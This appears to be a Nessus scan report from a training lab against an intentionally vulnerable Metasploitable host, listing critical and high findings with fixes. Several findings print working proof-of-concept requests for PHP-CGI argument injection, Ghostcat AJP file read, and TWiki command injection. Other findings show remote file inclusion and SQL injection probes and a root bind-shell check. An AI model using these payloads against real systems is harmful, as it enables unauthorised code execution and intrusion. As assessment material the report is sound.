W12D1 – Nessus –> Metasplotable

Report generated by Tenable Nessus™ Tue, 04 Feb 2025 19:54:55 CET

TABLE OF CONTENTS

Vulnerabilities by Host

Vulnerabilities by Host

192.168.51.101

10	10	35	10	167
CRITICAL	HIGH	MEDIUM	LOW	INFO

Scan Information

Start time: Tue Feb 4 15:40:15 2025
End time: Tue Feb 4 19:54:54 2025

Host Information

DNS Name: Epic-Metasploitable.epicode
Netbios Name: METASPLOITABLE
IP: 192.168.51.101
OS: Linux Kernel 2.6 on Ubuntu 8.04 (hardy)

Vulnerabilities

70728 - Apache PHP-CGI Remote Code Execution

Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

Solution

Upgrade to PHP 5.3.13 / 5.4.3 or later.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

9.0

EPSS Score

0.9569

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

BID	53388
CVE	CVE-2012-1823
CVE	CVE-2012-2311
CVE	CVE-2012-2335
CVE	CVE-2012-2336
XREF	CERT:520827
XREF	EDB-ID:29290
XREF	EDB-ID:29316
XREF	CISA-KNOWN-EXPLOITED:2022/04/15

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2013/11/01, Modified: 2023/04/25

Plugin Output

tcp/80/www

```
Nessus was able to verify the issue exists using the following request :

------------------------------ snip ------------------------------
```

```
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+
%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F
%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F
%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E
%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F
%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F
%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: Epic-Metasploitable.epicode
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Content-Length: 115
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
<?php echo "Content-Type:text/html\r\n\r\n"; echo 'php_cgi_remote_code_execution-1738692099';
 system('id'); die; ?>
------------------------------ snip ------------------------------

This produced the following output :

------------------------------ snip ------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------ snip ------------------------------
```

134862 - Apache Tomcat AJP Connector Request Injection (Ghostcat)

Synopsis

There is a vulnerable AJP connector listening on the remote host.

Description

A file read/inclusion vulnerability was found in AJP connector. A remote, unauthenticated attacker could exploit this vulnerability to read web application files from a vulnerable server. In instances where the vulnerable server allows file uploads, an attacker could upload malicious JavaServer Pages (JSP) code within a variety of file types and gain remote code execution (RCE).

See Also

http://www.nessus.org/u?8ebe6246

http://www.nessus.org/u?4e287adb

http://www.nessus.org/u?cbc3d54e

https://access.redhat.com/security/cve/CVE-2020-1745

https://access.redhat.com/solutions/4851251

http://www.nessus.org/u?dd218234

http://www.nessus.org/u?dd772531

http://www.nessus.org/u?2a01d6bf

http://www.nessus.org/u?3b5af27e

http://www.nessus.org/u?9dab109f

http://www.nessus.org/u?5eafcf70

Solution

Update the AJP configuration to require authorization and/or upgrade the Tomcat server to 7.0.100, 8.5.51, 9.0.31 or later.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

8.9

EPSS Score

0.974

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

CVE	CVE-2020-1745
CVE	CVE-2020-1938
XREF	CISA-KNOWN-EXPLOITED:2022/03/17
XREF	CEA-ID:CEA-2020-0021

Plugin Information

Published: 2020/03/24, Modified: 2025/01/22

Plugin Output

tcp/8009/ajp13

```
Nessus was able to exploit the issue using the following request :

0x0000:  02 02 00 08 48 54 54 50 2F 31 2E 31 00 00 0F 2F    ....HTTP/1.1.../
0x0010:  61 73 64 66 2F 78 78 78 78 78 2E 6A 73 70 00 00    asdf/xxxxx.jsp..
0x0020:  09 6C 6F 63 61 6C 68 6F 73 74 00 FF FF 00 09 6C    .localhost.....l
0x0030:  6F 63 61 6C 68 6F 73 74 00 00 50 00 00 09 A0 06    ocalhost..P.....
0x0040:  00 0A 6B 65 65 70 2D 61 6C 69 76 65 00 00 0F 41    ..keep-alive...A
0x0050:  63 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 00 00    ccept-Language..
0x0060:  0E 65 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E 35 00    .en-US,en;q=0.5.
0x0070:  A0 08 00 01 30 00 00 0F 41 63 63 65 70 74 2D 45    ....0...Accept-E
0x0080:  6E 63 6F 64 69 6E 67 00 00 13 67 7A 69 70 2C 20    ncoding...gzip,
0x0090:  64 65 66 6C 61 74 65 2C 20 73 64 63 68 00 00 0D    deflate, sdch...
0x00A0:  43 61 63 68 65 2D 43 6F 6E 74 72 6F 6C 00 00 09    Cache-Control...
0x00B0:  6D 61 78 2D 61 67 65 3D 30 00 A0 0E 00 07 4D 6F    max-age=0.....Mo
0x00C0:  7A 69 6C 6C 61 00 00 19 55 70 67 72 61 64 65 2D    zilla...Upgrade-
0x00D0:  49 6E 73 65 63 75 72 65 2D 52 65 71 75 65 73 74    Insecure-Request
0x00E0:  73 00 00 01 31 00 A0 01 00 09 74 65 78 74 2F 68    s...1.....text/h
0x00F0:  74 6D 6C 00 A0 0B 00 09 6C 6F 63 61 6C 68 6F 73    tml.....localhos
0x0100:  74 00 0A 00 21 6A 61 76 61 78 2E 73 65 72 76 6C    t...!javax.servl
0x0110:  65 74 2E 69 6E 63 6C 75 64 65 2E 72 65 71 75 65    et.include.reque
0x0120:  73 74 5F 75 72 69 00 00 01 31 00 0A 00 1F 6A 61    st_uri...1....ja
0x0130:  76 61 78 2E 73 65 72 76 6C 65 74 2E 69 6E 63 6C    vax.servlet.incl
0x0140:  75 64 65 2E 70 61 74 68 5F 69 6E 66 6F 00 00 10    ude.path_info...
0x0150:  2F 57 45 42 2D 49 4E 46 2F 77 65 62 2E 78 6D 6C    /WEB-INF/web.xml
0x0160:  00 0A 00 22 6A 61 76 61 78 2E 73 65 72 76 6C 65    ..."javax.servle
0x0170:  74 2E 69 6E 63 6C 75 64 65 2E 73 65 72 76 6C 65    t.include.servle
0x0180:  74 5F 70 61 74 68 00 00 00 00 FF                   t_path.....
```

```
This produced the following truncated output (limite [...]
```

171340 - Apache Tomcat SEoL (<= 5.5.x)

Synopsis

An unsupported version of Apache Tomcat is installed on the remote host.

Description

According to its version, Apache Tomcat is less than or equal to 5.5.x. It is, therefore, no longer maintained by its vendor or provider.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it may contain security vulnerabilities.

See Also

https://tomcat.apache.org/tomcat-55-eol.html

Solution

Upgrade to a version of Apache Tomcat that is currently supported.

Risk Factor

Critical

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2023/02/10, Modified: 2024/05/06

Plugin Output

tcp/8180/www

```
URL                                  : http://Epic-Metasploitable.epicode:8180/
Installed version                    : 5.5
Security End of Life                 : September 30, 2012
Time since Security End of Life (Est.) : >= 12 years
```

51988 - Bind Shell Backdoor Detection

Synopsis

The remote host may have been compromised.

Description

A shell is listening on the remote port without any authentication being required. An attacker may use it by connecting to the remote port and sending commands directly.

Solution

Verify if the remote host has been compromised, and reinstall the system if necessary.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2011/02/15, Modified: 2022/04/11

Plugin Output

tcp/1524/wild_shell

```
Nessus was able to execute the command "id" using the
following request :


This produced the following truncated output (limited to 10 lines) :
------------------------------ snip ------------------------------
root@metasploitable:/# uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:/#

------------------------------ snip ------------------------------
```

32314 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness

Synopsis

The remote SSH host keys are weak.

Description

The remote SSH host key has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to set up decipher the remote session or set up a man in the middle attack.

See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

VPR Score

5.1

EPSS Score

0.1994

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/14, Modified: 2024/07/24

Plugin Output

tcp/22/ssh

32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

Synopsis

The remote SSL certificate uses a weak key.

Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

VPR Score

5.1

EPSS Score

0.1994

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/15, Modified: 2020/11/16

Plugin Output

tcp/25/smtp

32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

Synopsis

The remote SSL certificate uses a weak key.

Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

VPR Score

5.1

EPSS Score

0.1994

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/15, Modified: 2020/11/16

Plugin Output

tcp/5432/postgresql

46882 - UnrealIRCd Backdoor Detection

Synopsis

The remote IRC server contains a backdoor.

Description

The remote IRC server is a version of UnrealIRCd with a backdoor that allows an attacker to execute arbitrary code on the affected host.

See Also

https://seclists.org/fulldisclosure/2010/Jun/277

https://seclists.org/fulldisclosure/2010/Jun/284

http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt

Solution

Re-download the software, verify it using the published MD5 / SHA1 checksums, and re-install it.

Risk Factor

Critical

VPR Score

7.4

EPSS Score

0.7565

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	40820
CVE	CVE-2010-2075

Exploitable With

CANVAS (true) Metasploit (true)

Plugin Information

Published: 2010/06/14, Modified: 2022/04/11

Plugin Output

tcp/6667/irc

```
The remote IRC server is running as :

uid=0(root) gid=0(root)
```

61708 - VNC Server 'password' Password

Synopsis

A VNC server running on the remote host is secured with a weak password.

Description

The VNC server running on the remote host is secured with a weak password. Nessus was able to login using VNC authentication and a password of 'password'. A remote, unauthenticated attacker could exploit this to take control of the system.

Solution

Secure the VNC service with a strong password.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2012/08/29, Modified: 2015/09/24

Plugin Output

tcp/5900/vnc

```
Nessus logged in using a password of "password".
```

125855 - phpMyAdmin prior to 4.8.6 SQLi vulnerablity (PMASA-2019-3)

Synopsis

The remote web server hosts a PHP application that is affected by SQLi vulnerability.

Description

According to its self-reported version number, the phpMyAdmin application hosted on the remote web server is prior to 4.8.6. It is, therefore, affected by a SQL injection (SQLi) vulnerability that exists in designer feature of phpMyAdmin. An unauthenticated, remote attacker can exploit this to inject or manipulate SQL queries in the back-end database, resulting in the disclosure or manipulation of arbitrary data.

Note that Nessus has not attempted to exploit these issues but has instead relied only on the application's self-reported version number.

See Also

http://www.nessus.org/u?c9d7fc8c

Solution

Upgrade to phpMyAdmin version 4.8.6 or later.

Alternatively, apply the patches referenced in the vendor advisories.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0081

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID	108617
CVE	CVE-2019-11768

Plugin Information

Published: 2019/06/13, Modified: 2024/11/22

Plugin Output

tcp/80/www

```
URL               : http://Epic-Metasploitable.epicode/phpMyAdmin
Installed version : 3.1.1
Fixed version     : 4.8.6
```

39465 - CGI Generic Command Execution

Synopsis

Arbitrary code may be run on the remote server.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to execute arbitrary commands on the remote host.

See Also

https://en.wikipedia.org/wiki/Code_injection

http://projects.webappsec.org/w/page/13246950/OS%20Commanding

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade to address command execution flaws.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

XREF	CWE:20
XREF	CWE:74
XREF	CWE:77
XREF	CWE:78
XREF	CWE:713
XREF	CWE:722
XREF	CWE:727
XREF	CWE:741
XREF	CWE:751
XREF	CWE:801
XREF	CWE:928
XREF	CWE:929

Plugin Information

Published: 2009/06/19, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to arbitrary command execution :

+ The 'topic' parameter of the /twiki/bin/view/Main/WebHome CGI :

/twiki/bin/view/Main/WebHome?topic=echo%20NeS%20%20SuS

-------- output --------
<body bgcolor="#ffffff">
<a name="PageTop"></a>
<form name="main" action="/twiki/bin/view/Main/echo%20NeS%20SuS">
<table width="100%" border="0" cellpadding="3" cellspacing="0">
<tr>
------------------------
```

39469 - CGI Generic Remote File Inclusion

Synopsis

Arbitrary code may be run on the remote server.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a remote file from a remote server and execute arbitrary commands on the target host.

See Also

https://en.wikipedia.org/wiki/Remote_File_Inclusion

http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

XREF	CWE:73
XREF	CWE:78
XREF	CWE:98
XREF	CWE:434
XREF	CWE:473
XREF	CWE:632
XREF	CWE:714
XREF	CWE:727
XREF	CWE:801
XREF	CWE:928
XREF	CWE:929

Plugin Information

Published: 2009/06/19, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to web code injection :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=http://weLlFXOW.example.com/

-------- output --------
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
<br />
<b>Warning</b>:  include(http://weLlFXOW.example.com/) [<a href='functio
n.include'>function.include</a>]: failed to open stream: no suitable wra
pper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>4
69</b><br />
<br />
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
------------------------

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=http://weLlFXOW.example.com/

-------- output --------
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
<br />
<b>Warning</b>:  include(http://weLlFXOW.example.com/) [<a href='functio
n.include'>function.include</a>]: failed to open stream: no suitable wra
pper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>4
69</b><br />
<br />
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
------------------------


Using the POST HTTP method, Nessus found that :

+ The following resources may be vulnerable to web code injection :

/mutillidae/index.php [do=toggle-hints&page=http://weLlFXOW.example.com/
&username=anonymous]

-------- output --------
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
<br />
<b>Warning</b>:  include(http://weLlFXOW.example.com/) [<a href='functio
n.include'>function.include</a>]: failed to open stream: no suitable wra
pper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>4
69</b><br />
<br />
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
------------------------
```

42424 - CGI Generic SQL Injection (blind)

Synopsis

A CGI application hosted on the remote web server is potentially prone to SQL injection attack.

Description

By sending specially crafted parameters to one or more CGI scripts hosted on the remote web server, Nessus was able to get a very different response, which suggests that it may have been able to modify the behavior of the application and directly access the underlying database.

An attacker may be able to exploit this issue to bypass authentication, read confidential data, modify the remote database, or even take control of the remote operating system.

See Also

http://www.securiteam.com/securityreviews/5DP0N1P76E.html

http://www.nessus.org/u?ed792cf5

http://www.nessus.org/u?11ab1866

Solution

Modify the affected CGI scripts so that they properly escape arguments.

Risk Factor

High

CVSS v3.0 Base Score

8.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

XREF	CWE:20
XREF	CWE:77
XREF	CWE:89
XREF	CWE:91
XREF	CWE:203
XREF	CWE:643
XREF	CWE:713
XREF	CWE:722

XREF	CWE:727
XREF	CWE:751
XREF	CWE:801
XREF	CWE:810
XREF	CWE:928
XREF	CWE:929

Plugin Information

Published: 2009/11/06, Modified: 2024/06/14

Plugin Output

tcp/80/www

```
Using the POST HTTP method, Nessus found that :

+ The following resources may be vulnerable to blind SQL injection :

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php [username=anonymous&do=toggle-hints&page=home.phpz
zanonymous&do=toggle-hints&page=home.phpyy]

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=home.php">Toggle Hint
s</a></td><td><a href="./index.php?do=toggle-security&page=home.php
">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
-------- vs --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=home.phpyy">Toggle Hi
nts</a></td><td><a href="./index.php?do=toggle-security&page=home.p
hpyy">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
------------------------

/mutillidae/index.php [username=anonymous&do=toggle-hints&page=home.phpz
zanonymous&do=toggle-hints&page=home.phpyy] {2}

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=home.php">Toggle Hint
s</a></td><td><a href="./index.php?do=toggle-security&page=home.php
">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
-------- vs --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=home.phpyy">Toggle Hi
nts</a></td><td><a href="./index.php?do=toggle-security&page=home.p
hpyy">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
```

```
---------------- [...]
```

136769 - ISC BIND Service Downgrade / Reflected DoS

Synopsis

The remote name server is affected by Service Downgrade / Reflected DoS vulnerabilities.

Description

According to its self-reported version, the instance of ISC BIND 9 running on the remote name server is affected by performance downgrade and Reflected DoS vulnerabilities. This is due to BIND DNS not sufficiently limiting the number fetches which may be performed while processing a referral response.

An unauthenticated, remote attacker can exploit this to cause degrade the service of the recursive server or to use the affected server as a reflector in a reflection attack.

See Also

https://kb.isc.org/docs/cve-2020-8616

Solution

Upgrade to the ISC BIND version referenced in the vendor advisory.

Risk Factor

Medium

CVSS v3.0 Base Score

8.6 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

7.7 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

5.2

EPSS Score

0.0053

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-8616
XREF	IAVA:2020-A-0217-S

Plugin Information

Published: 2020/05/22, Modified: 2024/03/12

Plugin Output

udp/53/dns

```
Installed version : 9.4.2
Fixed version     : 9.11.19
```

42256 - NFS Shares World Readable

Synopsis

The remote NFS server exports world-readable shares.

Description

The remote NFS server is exporting one or more shares without restricting access (based on hostname, IP, or IP range).

See Also

http://www.tldp.org/HOWTO/NFS-HOWTO/security.html

Solution

Place the appropriate restrictions on all NFS shares.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2009/10/26, Modified: 2024/02/21

Plugin Output

tcp/2049/rpc-nfs

```
The following shares have no access restrictions :

  / *
```

59088 - PHP PHP-CGI Query String Parameter Injection Arbitrary Code Execution

Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

See Also

http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

http://www.php.net/archive/2012.php#id2012-05-08-1

http://www.php.net/ChangeLog-5.php#5.3.13

http://www.php.net/ChangeLog-5.php#5.4.3

http://www.nessus.org/u?80589ce8

https://www-304.ibm.com/support/docview.wss?uid=swg21620314

Solution

If using Lotus Foundations, upgrade the Lotus Foundations operating system to version 1.2.2b or later.

Otherwise, upgrade to PHP 5.3.13 / 5.4.3 or later.

Risk Factor

High

VPR Score

9.0

EPSS Score

0.9569

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

BID	53388
CVE	CVE-2012-1823
CVE	CVE-2012-2311
XREF	CERT:520827
XREF	EDB-ID:18834
XREF	CISA-KNOWN-EXPLOITED:2022/04/15

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2012/05/14, Modified: 2022/03/28

Plugin Output

tcp/80/www

```
Nessus was able to verify the issue exists using the following request :

------------------------------ snip ------------------------------
POST /dvwa/dvwa/includes/DBMS/DBMS.php?-d+allow_url_include%3don+-d+safe_mode%3doff+-d
+suhosin.simulation%3don+-d+open_basedir%3doff+-d+auto_prepend_file%3dphp%3a//input+-n HTTP/1.1
Host: Epic-Metasploitable.epicode
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Content-Length: 82
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
<?php echo 'php_cgi_query_string_code_execution-1738692129'; system('id'); die; ?>
------------------------------ snip ------------------------------

This produced the following output :

------------------------------ snip ------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------ snip ------------------------------
```

90509 - Samba Badlock Vulnerability

Synopsis

An SMB server running on the remote host is affected by the Badlock vulnerability.

Description

The version of Samba, a CIFS/SMB server for Linux and Unix, running on the remote host is affected by a flaw, known as Badlock, that exists in the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. A man-in-the-middle attacker who is able to able to intercept the traffic between a client and a server hosting a SAM database can exploit this flaw to force a downgrade of the authentication level, which allows the execution of arbitrary Samba network calls in the context of the intercepted user, such as viewing or modifying sensitive security data in the Active Directory (AD) database or disabling critical services.

See Also

http://badlock.org

https://www.samba.org/samba/security/CVE-2016-2118.html

Solution

Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0489

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	86002
CVE	CVE-2016-2118
XREF	CERT:813296

Plugin Information

Published: 2016/04/13, Modified: 2019/11/20

Plugin Output

tcp/445/cifs

```
Nessus detected that the Samba Badlock patch has not been applied.
```

19704 - TWiki 'rev' Parameter Arbitrary Command Execution

Synopsis

The remote web server hosts a CGI application that is affected by an arbitrary command execution vulnerability.

Description

The version of TWiki running on the remote host allows an attacker to manipulate input to the 'rev' parameter in order to execute arbitrary shell commands on the remote host subject to the privileges of the web server user id.

See Also

http://www.nessus.org/u?c70904f3

Solution

Apply the appropriate hotfix referenced in the vendor advisory.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.2 (CVSS:3.0/E:F/RL:O/RC:C)

VPR Score

7.4

EPSS Score

0.9517

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.2 (CVSS2#E:F/RL:OF/RC:C)

References

BID	14834
CVE	CVE-2005-2877

Exploitable With

Metasploit (true)

Plugin Information

Published: 2005/09/15, Modified: 2024/06/05

Plugin Output

tcp/80/www

```
Nessus was able to execute the command "id" using the
following request :

http://Epic-Metasploitable.epicode/twiki/bin/view/Main/TWikiUsers?rev=2%20%7cid%7c%7cecho%20


This produced the following truncated output (limited to 2 lines) :
------------------------------ snip ------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)

------------------------------ snip ------------------------------
```

36171 - phpMyAdmin Setup Script Configuration Parameters Arbitrary PHP Code Injection (PMASA-2009-4)

Synopsis

The remote web server contains a PHP application that is affected by a code execution vulnerability.

Description

The setup script included with the version of phpMyAdmin installed on the remote host does not properly sanitize user-supplied input before using it to generate a config file for the application. This version is affected by the following vulnerabilities :

- The setup script inserts the unsanitized verbose server name into a C-style comment during config file generation.

- An attacker can save arbitrary data to the generated config file by altering the value of the 'textconfig' parameter during a POST request to config.php.

